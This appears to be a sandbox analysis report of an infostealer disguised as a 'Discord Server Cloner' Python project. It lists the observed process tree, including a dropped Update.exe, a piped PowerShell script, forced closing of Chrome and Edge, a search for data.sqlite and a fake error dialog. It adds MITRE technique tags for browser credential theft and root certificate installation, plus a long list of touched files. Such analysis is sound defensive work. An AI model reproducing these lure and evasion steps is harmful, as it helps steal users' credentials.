C:\Users\Admin\AppData\Local\Temp\Update.exe"C:\Users\Admin\AppData\Local\Temp\Update.exe"2⤵
- Drops startup file
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "type C:\Users\Admin\AppData\Local\Temp\console.ps1 | powershell.exe -noprofile -"3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" type C:\Users\Admin\AppData\Local\Temp\console.ps1 "4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -noprofile -4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0cgyqkoy\0cgyqkoy.cmdline"5⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3566.tmp" "c:\Users\Admin\AppData\Local\Temp\0cgyqkoy\CSC6AA2BB3D58F74B67AFF9DF1562AFEC9C.TMP"6⤵
-
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c ""C:\Users\Admin\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.bat" "C:\Users\Admin\AppData\Local\Temp\2024711-2316-ak82yz.jtouf.jpg" "3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /nologo /r:"Microsoft.VisualBasic.dll" /win32manifest:"app.manifest" /out:"screenCapture_1.3.2.exe" "C:\Users\Admin\AppData\Local\Temp\SCREEN~1\SCREEN~1.BAT"4⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES391F.tmp" "c:\Users\Admin\AppData\Local\Temp\screenCapture\CSC8E5CCAF83E144B48AC95DBE83BC7A58D.TMP"5⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exescreenCapture_1.3.2.exe "C:\Users\Admin\AppData\Local\Temp\2024711-2316-ak82yz.jtouf.jpg"4⤵
- Executes dropped EXE
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"3⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM chrome.exe4⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe"3⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM msedge.exe4⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "where /r . data.sqlite"3⤵
-
C:\Windows\system32\where.exewhere /r . data.sqlite4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -Command "& {Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.MessageBox]::Show('The application was unable to start correctly (0xc000007b). Click OK to close the application.', 'Application Error', [System.Windows.Forms.MessageBoxButtons]::OK, [System.Windows.Forms.MessageBoxIcon]::Error)}""3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "& {Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.MessageBox]::Show('The application was unable to start correctly (0xc000007b). Click OK to close the application.', 'Application Error', [System.Windows.Forms.MessageBoxButtons]::OK, [System.Windows.Forms.MessageBoxIcon]::Error)}"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
-
C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe" -m pip install -r requirements.txt2⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
-
C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exeC:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe C:\Users\Admin\AppData\Local\Programs\Python\Python312\Lib\site-packages\pip\__pip-runner__.py install --ignore-installed --no-user --prefix C:\Users\Admin\AppData\Local\Temp\pip-build-env-za8w7ezm\overlay --no-warn-script-location --disable-pip-version-check --no-binary :none: --only-binary :none: -i https://pypi.org/simple -- setuptools wheel3⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exeC:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe C:\Users\Admin\AppData\Local\Programs\Python\Python312\Lib\site-packages\pip\_vendor\pyproject_hooks\_in_process\_in_process.py get_requires_for_build_wheel C:\Users\Admin\AppData\Local\Temp\tmp97mlj_9x3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exeC:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe C:\Users\Admin\AppData\Local\Programs\Python\Python312\Lib\site-packages\pip\_vendor\pyproject_hooks\_in_process\_in_process.py prepare_metadata_for_build_wheel C:\Users\Admin\AppData\Local\Temp\tmp8yrshq2r3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exeC:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe C:\Users\Admin\AppData\Local\Programs\Python\Python312\Lib\site-packages\pip\_vendor\pyproject_hooks\_in_process\_in_process.py build_wheel C:\Users\Admin\AppData\Local\Temp\tmpjnj7e_j93⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe" main.py2⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c title Discord Server Cloner3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls3⤵
-
-
-
C:\Users\Admin\AppData\Local\Programs\Python\Launcher\py.exe"C:\Users\Admin\AppData\Local\Programs\Python\Launcher\py.exe" "C:\Users\Admin\Desktop\discord-server-cloner-main\cloner.py"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exeC:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe "C:\Users\Admin\Desktop\discord-server-cloner-main\cloner.py"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Programs\Python\Launcher\py.exe"C:\Users\Admin\AppData\Local\Programs\Python\Launcher\py.exe" "C:\Users\Admin\Desktop\discord-server-cloner-main\main.py"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exeC:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe "C:\Users\Admin\Desktop\discord-server-cloner-main\main.py"2⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c title Discord Server Cloner3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls3⤵
-
-
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Defense Evasion
Deobfuscate/Decode Files or Information
1Modify Registry
2Subvert Trust Controls
2Install Root Certificate
1SIP and Trust Provider Hijacking
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
e5d4f5e.rbs
e5d4f63.rbs
e5d4f68.rbs
e5d4f6d.rbs
e5d4f72.rbs
e5d4f77.rbs
e5d4f7c.rbs
e5d4f81.rbs
e5d4f86.rbs
e5d4f8b.rbs
data_1
Network Persistent State
SCT Auditing Pending Reports
TransportSecurity
Preferences
Local State
settings.dat
settings.dat
settings.dat
settings.dat
0acd2907-1170-466b-b334-869f42aea45e.tmp
4a6d7dbf-de9a-46e0-bd50-813c92fea1ff.tmp
data_0
data_1
data_2
data_3
temp-index
the-real-index
the-real-index
Cookies
Favicons
CURRENT
History
History Provider Cache
000003.log
LOG
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
000003.log
LOG
MANIFEST-000001
the-real-index
the-real-index~RFe5804cd.TMP
000003.log
LOG
Tabs_13367886987339709
000003.log
LOG
LOG
TransportSecurity
TransportSecurity
TransportSecurity
Visited Links
CURRENT
CURRENT
load_statistics.db-wal
000003.log
LOG
000003.log
LOG
data_0
data_1
Last Version
Local State
Local State
Local State
Local State
data_1
doc_JustForMe
lib_JustForMe
tcltk_JustForMe
__init__.py
impl.py
types.py
utils.py
__init__.py
abc.py
base_protocol.py
client.py
client_exceptions.py
client_proto.py
client_reqrep.py
client_ws.py
compression_utils.py
connector.py
cookiejar.py
formdata.py
hdrs.py
helpers.py
http.py
http_exceptions.py
http_parser.py
http_websocket.py
http_writer.py
locks.py
log.py
multipart.py
payload.py
payload_streamer.py
pytest_plugin.py
resolver.py
streams.py
tcp_helpers.py
test_utils.py
tracing.py
typedefs.py
web.py
web_app.py
web_exceptions.py
web_fileresponse.py
web_log.py
web_middlewares.py
web_protocol.py
web_request.py
web_response.py
web_routedef.py
web_runner.py
web_server.py
web_urldispatcher.py
web_ws.py
worker.py
__init__.py
__init__.py
__init__.py
__main__.py
art.py
art_dic.py
art_param.py
decor_dic.py
test.py
test2.py
text_dic1.py
text_dic2.py
text_dic3.py
__init__.py
_cmp.py
_compat.py
_config.py
_funcs.py
_make.py
_next_gen.py
_version_info.py
converters.py
exceptions.py
filters.py
setters.py
validators.py
__init__.py
converters.py
exceptions.py
filters.py
setters.py
validators.py
__init__.py
_capabilities.py
color.py
colorspace.py
formatters.py
keyboard.py
sequences.py
terminal.py
win_terminal.py
__main__.py
core.py
__init__.py
__main__.py
api.py
cd.py
__init__.py
__main__.py
constant.py
legacy.py
md.py
models.py
utils.py
version.py
__init__.py
ansi.py
ansitowin32.py
initialise.py
__init__.py
ansi_test.py
ansitowin32_test.py
initialise_test.py
isatty_test.py
utils.py
winterm_test.py
win32.py
winterm.py
__init__.py
__main__.py
abc.py
activity.py
affinity.py
application.py
asset.py
audit_logs.py
automod.py
backoff.py
billing.py
calls.py
channel.py
client.py
colour.py
commands.py
components.py
connections.py
context_managers.py
embeds.py
emoji.py
entitlements.py
enums.py
errors.py
__init__.py
_types.py
bot.py
cog.py
context.py
converter.py
cooldowns.py
core.py
errors.py
flags.py
help.py
parameters.py
view.py
__init__.py
file.py
flags.py
gateway.py
guild.py
guild_premium.py
handlers.py
http.py
integrations.py
interactions.py
invite.py
library.py
member.py
mentions.py
message.py
metadata.py
mixins.py
modal.py
object.py
oggparse.py
opus.py
partial_emoji.py
payments.py
permissions.py
player.py
profile.py
promotions.py
raw_models.py
reaction.py
relationship.py
role.py
scheduled_event.py
settings.py
stage_instance.py
state.py
sticker.py
store.py
subscriptions.py
team.py
template.py
threads.py
tracking.py
__init__.py
activity.py
application.py
audit_log.py
automod.py
billing.py
channel.py
command.py
components.py
embed.py
emoji.py
entitlements.py
gateway.py
guild.py
integration.py
interactions.py
invite.py
library.py
member.py
message.py
payments.py
profile.py
promotions.py
role.py
scheduled_event.py
snowflake.py
sticker.py
store.py
subscriptions.py
team.py
template.py
threads.py
user.py
voice.py
webhook.py
welcome_screen.py
widget.py
user.py
utils.py
voice_client.py
__init__.py
async_.py
sync.py
welcome_screen.py
widget.py
WHEEL
__init__.py
__init__.py
__init__.py
any_pb2.py
api_pb2.py
plugin_pb2.py
descriptor.py
descriptor_database.py
descriptor_pb2.py
descriptor_pool.py
duration_pb2.py
empty_pb2.py
field_mask_pb2.py
__init__.py
_parameterized.py
api_implementation.py
builder.py
containers.py
decoder.py
encoder.py
enum_type_wrapper.py
extension_dict.py
field_mask.py
message_listener.py
python_edition_defaults.py
python_message.py
testing_refleaks.py
type_checkers.py
well_known_types.py
wire_format.py
json_format.py
message.py
message_factory.py
proto_builder.py
cpp_message.py
reflection.py
runtime_version.py
service.py
service_reflection.py
source_context_pb2.py
struct_pb2.py
symbol_database.py
text_encoding.py
text_format.py
timestamp_pb2.py
type_pb2.py
unknown_fields.py
wrappers_pb2.py
__init__.py
errors.py
events.py
prompt.py
questions.py
__init__.py
__init__.py
_checkbox.py
_confirm.py
_editor.py
_list.py
_other.py
_password.py
_path.py
_text.py
base.py
shortcuts.py
themes.py
__init__.py
_keys.py
_terminal.py
_tparm.py
_util.py
has_key.py
__init__.py
ansicon.py
vtwin10.py
xterm.py
xterm_256color.py
win32.py
__init__.py
_compat.py
_punycode.py
parse.py
entities.py
html_blocks.py
html_re.py
normalize_url.py
utils.py
__init__.py
parse_link_destination.py
parse_link_label.py
parse_link_title.py
main.py
parser_block.py
parser_core.py
parser_inline.py
__init__.py
commonmark.py
default.py
zero.py
renderer.py
ruler.py
__init__.py
blockquote.py
code.py
fence.py
heading.py
hr.py
html_block.py
lheading.py
list.py
paragraph.py
reference.py
state_block.py
table.py
__init__.py
block.py
inline.py
linkify.py
normalize.py
replacements.py
smartquotes.py
state_core.py
text_join.py
__init__.py
autolink.py
backticks.py
balance_pairs.py
emphasis.py
entity.py
escape.py
fragments_join.py
html_inline.py
image.py
link.py
linkify.py
newline.py
state_inline.py
strikethrough.py
text.py
token.py
tree.py
utils.py
__init__.py
_decode.py
_encode.py
_format.py
_parse.py
_url.py
py.typed
__init__.py
_abc.py
_compat.py
_multidict_base.py
_multidict_py.py
INSTALLER
__init__.py
__main__.py
__pip-runner__.py
__init__.py
build_env.py
cache.py
__init__.py
autocompletion.py
base_command.py
cmdoptions.py
command_context.py
index_command.py
main.py
main_parser.py
parser.py
progress_bars.py
req_command.py
spinners.py
status_codes.py
__init__.py
cache.py
check.py
completion.py
configuration.py
debug.py
download.py
freeze.py
hash.py
help.py
index.py
inspect.py
install.py
list.py
search.py
show.py
uninstall.py
wheel.py
configuration.py
__init__.py
base.py
installed.py
sdist.py
wheel.py
exceptions.py
__init__.py
collector.py
package_finder.py
sources.py
__init__.py
_distutils.py
_sysconfig.py
base.py
main.py
__init__.py
_json.py
base.py
__init__.py
_compat.py
_dists.py
_envs.py
pkg_resources.py
__init__.py
candidate.py
direct_url.py
format_control.py
index.py
installation_report.py
link.py
scheme.py
search_scope.py
selection_prefs.py
target_python.py
wheel.py
__init__.py
auth.py
cache.py
download.py
lazy_wheel.py
session.py
utils.py
xmlrpc.py
build_tracker.py
metadata.py
metadata_editable.py
metadata_legacy.py
wheel.py
wheel_editable.py
wheel_legacy.py
check.py
freeze.py
__init__.py
editable_legacy.py
wheel.py
prepare.py
pyproject.py
__init__.py
constructors.py
req_file.py
req_install.py
req_set.py
req_uninstall.py
base.py
resolver.py
base.py
candidates.py
factory.py
found_candidates.py
provider.py
reporter.py
requirements.py
resolver.py
self_outdated_check.py
_jaraco_text.py
_log.py
appdirs.py
compat.py
compatibility_tags.py
datetime.py
deprecation.py
direct_url_helpers.py
egg_link.py
encoding.py
entrypoints.py
filesystem.py
filetypes.py
glibc.py
hashes.py
logging.py
misc.py
packaging.py
retry.py
setuptools_build.py
subprocess.py
temp_dir.py
unpacking.py
urls.py
virtualenv.py
wheel.py
__init__.py
bazaar.py
git.py
mercurial.py
subversion.py
versioncontrol.py
wheel_builder.py
__init__.py
__init__.py
_cmd.py
adapter.py
cache.py
__init__.py
file_cache.py
redis_cache.py
controller.py
filewrapper.py
heuristics.py
serialize.py
wrapper.py
__init__.py
__main__.py
cacert.pem
core.py
__init__.py
compat.py
database.py
index.py
locators.py
manifest.py
markers.py
metadata.py
resources.py
scripts.py
util.py
version.py
wheel.py
__init__.py
__main__.py
distro.py
__init__.py
codec.py
compat.py
core.py
idnadata.py
intranges.py
package_data.py
uts46data.py
__init__.py
exceptions.py
ext.py
fallback.py
__init__.py
_elffile.py
_manylinux.py
_musllinux.py
_parser.py
_structures.py
_tokenizer.py
markers.py
metadata.py
requirements.py
specifiers.py
tags.py
utils.py
version.py
__init__.py
__init__.py
__main__.py
android.py
api.py
macos.py
unix.py
version.py
windows.py
__init__.py
__main__.py
cmdline.py
console.py
filter.py
__init__.py
formatter.py
__init__.py
_mapping.py
bbcode.py
groff.py
html.py
img.py
irc.py
latex.py
other.py
pangomarkup.py
rtf.py
svg.py
terminal.py
terminal256.py
lexer.py
__init__.py
_mapping.py
python.py
modeline.py
plugin.py
regexopt.py
scanner.py
sphinxext.py
style.py
__init__.py
_mapping.py
token.py
unistring.py
util.py
__init__.py
_compat.py
_impl.py
__init__.py
_in_process.py
__init__.py
__version__.py
_internal_utils.py
adapters.py
api.py
auth.py
certs.py
compat.py
cookies.py
exceptions.py
help.py
hooks.py
models.py
packages.py
sessions.py
status_codes.py
structures.py
utils.py
__init__.py
collections_abc.py
providers.py
reporters.py
resolvers.py
structs.py
__init__.py
__main__.py
_cell_widths.py
_emoji_codes.py
_emoji_replace.py
_export_format.py
_extension.py
_fileno.py
_inspect.py
_log_render.py
_loop.py
_null_file.py
_palettes.py
_pick.py
_ratio.py
_spinners.py
_stack.py
_timer.py
_win32_console.py
_windows.py
_windows_renderer.py
_wrap.py
abc.py
align.py
ansi.py
bar.py
box.py
cells.py
color.py
color_triplet.py
columns.py
console.py
constrain.py
containers.py
control.py
default_styles.py
diagnose.py
emoji.py
errors.py
file_proxy.py
filesize.py
highlighter.py
json.py
jupyter.py
layout.py
live.py
live_render.py
logging.py
markup.py
measure.py
padding.py
pager.py
palette.py
panel.py
pretty.py
progress.py
progress_bar.py
prompt.py
protocol.py
region.py
repr.py
rule.py
scope.py
screen.py
segment.py
spinner.py
status.py
style.py
styled.py
syntax.py
table.py
terminal_theme.py
text.py
theme.py
themes.py
traceback.py
tree.py
__init__.py
_parser.py
_re.py
_types.py
__init__.py
_api.py
_macos.py
_openssl.py
_ssl_constants.py
_windows.py
typing_extensions.py
__init__.py
_collections.py
_version.py
connection.py
connectionpool.py
_appengine_environ.py
bindings.py
low_level.py
appengine.py
ntlmpool.py
pyopenssl.py
securetransport.py
socks.py
exceptions.py
fields.py
filepost.py
makefile.py
weakref_finalize.py
six.py
poolmanager.py
request.py
response.py
__init__.py
connection.py
proxy.py
queue.py
request.py
response.py
retry.py
ssl_.py
ssl_match_hostname.py
ssltransport.py
timeout.py
url.py
wait.py
__init__.py
__init__.py
application.py
current.py
dummy.py
run_in_terminal.py
auto_suggest.py
buffer.py
cache.py
__init__.py
base.py
in_memory.py
pyperclip.py
__init__.py
base.py
deduplicate.py
filesystem.py
fuzzy_completer.py
nested.py
word_completer.py
__init__.py
system.py
__init__.py
compiler.py
completion.py
lexer.py
regex_parser.py
validation.py
__init__.py
server.py
__init__.py
log.py
protocol.py
server.py
cursor_shapes.py
data_structures.py
document.py
enums.py
__init__.py
async_context_manager.py
async_generator.py
dummy_contextvars.py
inputhook.py
utils.py
win32.py
__init__.py
app.py
base.py
cli.py
utils.py
__init__.py
ansi.py
base.py
html.py
pygments.py
utils.py
history.py
__init__.py
ansi_escape_sequences.py
base.py
defaults.py
posix_pipe.py
posix_utils.py
typeahead.py
vt100.py
vt100_parser.py
win32.py
win32_pipe.py
__init__.py
auto_suggest.py
basic.py
completion.py
cpr.py
emacs.py
focus.py
mouse.py
named_commands.py
open_in_editor.py
page_navigation.py
scroll.py
search.py
vi.py
defaults.py
digraphs.py
emacs_state.py
key_bindings.py
key_processor.py
vi_state.py
keys.py
__init__.py
containers.py
controls.py
